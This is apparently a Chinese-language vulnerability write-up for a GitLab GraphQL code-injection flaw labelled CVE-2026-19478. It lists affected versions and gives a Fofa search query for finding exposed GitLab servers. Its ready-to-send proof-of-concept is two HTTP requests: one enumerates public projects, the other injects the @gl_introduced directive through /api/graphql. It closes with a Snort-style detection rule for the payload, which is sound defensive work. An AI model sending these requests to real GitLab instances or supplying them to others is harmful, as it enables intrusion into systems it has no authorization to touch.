影响版本

GitLab CE/EE>= 18.2， < 18.11.11 ·< 19.0.8 ·< 19.1.6 ·< 19.2.4

漏洞复现

Fofa: title="gitlab"

POC/EXP：

step1 获取​​path_with_namespace​

GET /api/v4/projects?visibility=public&per_page=1 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
image-20260826230206-0jf83jn.png

step2 将获取的path_with_namespace放入fullPath中

POST /api/graphql HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 118

{"query": "query { project(fullPath: \"paul/react-interview\") { name touch @gl_introduced(version: \"999.0.0\") } }"}
image-20260826230324-dlgmf5b.png

sonrt规则：

alert tcp any any -> $HOME_NET any (
    msg:"GitLab CVE-2026-19478 - GraphQL 代码注入漏洞 (@gl_introduced 指令)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/api/graphql"; fast_pattern;
    http.content_type; content:"application/json";
    http.request_body; content:"@gl_introduced"; nocase;
    http.request_body; pcre:"/\"version\"\s*:\s*\"999\.0\.0\"/i";
    metadata:
        service http,
        affected_product "GitLab",
        vulnerability_type "Code Injection (GraphQL)",
        severity "critical";
    classtype:web-application-attack;
    sid:1000734;
    rev:1;
    priority:1;
)